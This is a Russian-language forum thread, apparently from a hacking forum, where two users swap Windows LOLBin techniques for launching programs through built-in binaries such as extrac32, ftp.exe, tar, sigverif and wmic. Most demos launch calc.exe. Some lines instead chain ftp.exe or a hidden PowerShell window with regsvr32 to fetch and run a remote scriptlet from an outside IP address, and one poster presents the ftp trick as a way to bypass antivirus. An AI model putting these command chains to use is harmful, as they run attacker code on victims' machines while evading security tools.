про калькулятор или calc.exe

[Johny]

копируем файл Extrac32

extrac32.exe /C C:\Windows\System32\calc.exe C:\Users\administrator\Desktop\calc.exe
читаем про esktopimgdownldr.exe

видео выше curl-exe-is-the-new

также читаем:

1.jdk-scripting

2.Hiding-In-Plain-Sight

3.gathernetworkinfovbs

4.xwizard.exe

 

[Johny]

​

 

[Johny]

                                                      explorer.exe \\127.0.0.1\c$\windows\system32\calc.exe

 

[Johny]

​

 

[Johny]

ещё пару LOLBIN 

 
 
1.CertReq.exe
 
2.wuauclt.exe

 

[Johny]

​

 

[Ondrik8]

​

 

[Johny]

​

 

[Johny]

​

 

[Ondrik8]

​

 

 

[Johny]

​

 

[Johny]

​

файла Xsl с помощью Wmic

 

[Ondrik8]

tar -cff --use-compress-program calc f
Посмотреть вложение 1500

 

[Johny]

​

 

[Johny]

​

 

[Johny]

Выше тема ftp.exe нового тут не чего lolbas но так как не разу не видел и не в одном обзоре по малваре чтоб использовали такую команду решил по тестить 

 

@echo !calc.exe > ftpcommands.bat && ftp -s:ftpcommands.bat & start ftpcommands.bat
Вот работает отлично но прикол если убрать аргумент (!) то команда не отработает то есть в начале не работало потом стала работать объяснить не могу но думаю дело в калибре ведра, но если не отрабатывает один х... наш файлик с командой, сохранит в .bat 

 

@echo regsvr32.exe /s /i:http://94.103.89.228/2.sct scrobj.dll > ftpcommands.bat && ftpcommands.bat & start ftpcommands.bat
Что на исходе можно тут сделать отличную команды для обхода AV и.т.д

 

[Johny]

​

 

[Johny]

​

 

[Johny]

Тема тут тыц сильно не тестил 

 

sigverif.exe & start C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w Hidden regsvr32.exe  /s /i:http://94.103.89.228/2.sct scrobj.dll

 

[Ondrik8]

Посмотреть вложение 1507

как делать "нажатия клавиш"

мышка 

Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "calc"
WScript.Sleep 5000
WshShell.SendKeys "2{+}"
WScript.Sleep 500
WshShell.SendKeys "2"
WScript.Sleep 500
WshShell.SendKeys "~"